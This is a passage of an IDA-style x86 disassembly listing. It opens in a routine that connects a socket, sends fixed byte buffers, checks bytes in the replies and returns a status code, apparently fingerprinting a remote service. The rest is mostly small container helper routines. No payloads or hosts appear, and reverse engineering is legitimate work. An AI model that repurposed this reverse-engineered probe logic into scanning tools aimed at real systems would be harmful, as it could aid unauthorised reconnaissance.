		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	ebp, dword_50FC8C
		push	0
		push	48h
		push	offset dword_443DD8
		push	esi
		call	ebp ; dword_50FC8C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	edi, dword_50FC90
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi ; dword_50FC90
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4217C2
		push	0
		push	18h
		push	offset dword_443E4C
		push	esi
		call	ebp ; dword_50FC8C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi ; dword_50FC90
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4217C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4217C2
		push	10h
		push	offset dword_443E24
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AEB
		add	esp, 10h
		test	al, al
		jz	short loc_421791
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: ___:0042176Ej
		push	10h
		push	offset dword_443E38
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AEB
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4217C2:				; CODE XREF: ___:004216DBj
					; ___:004216F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4217C9:				; CODE XREF: ___:0042167Ej
					; ___:00421687j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421850:				; CODE XREF: ___:00401A00j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421870	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421870	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218B0	proc near		; CODE XREF: sub_4018D9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401901
sub_4218B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4218F0	proc near		; CODE XREF: sub_401816j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40196F
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401997
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401947
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_4218F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421960	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_421960	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4219A0	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_4219A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219D0	proc near		; CODE XREF: sub_402167j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40196F
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4018FC
sub_4219D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A10	proc near		; CODE XREF: sub_401703j
		push	esi
		mov	esi, ecx
		call	sub_4019EC
		mov	eax, esi
		pop	esi
		retn
sub_421A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421A30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421A50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A80	proc near		; CODE XREF: sub_401802j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FFF
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421A80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AB0	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421AB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013ED
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021B7
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_421AF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B60	proc near		; CODE XREF: sub_40145Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421B60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421BA0	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421BA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BAE
sub_421BD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C10	proc near		; CODE XREF: sub_401B40j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421C10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421C30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C50	proc near		; CODE XREF: sub_40182Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421C50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D48
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421C80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401ECE
		mov	edi, eax
		push	edi
		call	sub_401B1D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421CB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B1D
		push	edi
		mov	[eax], ebx
		call	sub_401B1D
		mov	edi, [eax]
		push	edi
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E3D
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421D50	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401CF3
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401901
sub_421D50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401CF3
		push	edi
		mov	[eax], ebx
		call	sub_401CF3
		mov	edi, [eax]
		push	edi
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017E9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421DF0	proc near		; CODE XREF: sub_401997j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jz	short loc_421E4A


loc_421E08:				; CODE XREF: sub_421DF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020B8
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A1E
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jnz	short loc_421E08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421E4A:				; CODE XREF: sub_421DF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421DF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E80	proc near		; CODE XREF: sub_401901j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401DF2
sub_421E80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421E95
		mov	edi, esi


loc_421E95:				; CODE XREF: ___:00421E91j
		push	esi
		call	sub_40204F
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421EAA
		mov	edi, esi


loc_421EAA:				; CODE XREF: ___:00421EA6j
		push	esi
		call	sub_401CF3
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421ED0	proc near		; CODE XREF: sub_401947j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401546
		retn	4
sub_421ED0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_40204Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F10	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_421F10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F30	proc near		; CODE XREF: sub_4019ECj
		mov	eax, ecx
		retn
sub_421F30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F50	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401519
		mov	eax, esi
		pop	esi
		retn	4
sub_421F50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F80	proc near		; CODE XREF: sub_401FFFj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_421F80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FB0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018E8
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_421FB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013DE
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4220AA


loc_422068:				; CODE XREF: sub_422050+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019AB
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B7C
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422068
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4220AA:				; CODE XREF: sub_422050+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422050	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220E0	proc near		; CODE XREF: sub_401212j
		push	esi
		push	edi
		push	20h
		call	sub_4020BD
sub_4220E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4220F5
		mov	edi, esi


loc_4220F5:				; CODE XREF: ___:004220F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42210A
		mov	edi, esi


loc_42210A:				; CODE XREF: ___:00422106j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422130	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018E3
		retn	4
sub_422130	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422150	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422170	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422170	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422190	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221B0	proc near		; CODE XREF: sub_401D75j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018ED
		mov	eax, esi
		pop	esi
		retn	4
sub_4221B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221E0	proc near		; CODE XREF: sub_401D48j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4221E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422210	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A2D
		add	esp, 8
		retn	8
sub_422210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422240	proc near		; CODE XREF: sub_401A1Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020B8
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40204F
		push	esi
		mov	ebx, eax
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401CF3
		push	esi
		mov	ebx, eax
		call	sub_40204F
		mov	eax, [eax]
		push	eax
		call	sub_401CF3
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401631
		push	esi
		mov	ecx, edi
		call	sub_401947
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_422240	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422300	proc near		; CODE XREF: sub_401CF3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422300	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422320	proc near		; CODE XREF: sub_401DF2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_422320	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422350	proc near		; CODE XREF: sub_401546j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn	8
sub_422350	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422370	proc near		; CODE XREF: sub_4017E9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40201D
		add	esp, 8
		retn	8
sub_422370	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223A0	proc near		; CODE XREF: sub_401519j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4223A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4223C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223E0	proc near		; CODE XREF: sub_4020B8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4223E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422410	proc near		; CODE XREF: sub_401B7Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019AB
		mov	ecx, eax
		call	sub_4018E8
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E60
		push	esi
		mov	ecx, edi
		call	sub_4021B7
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
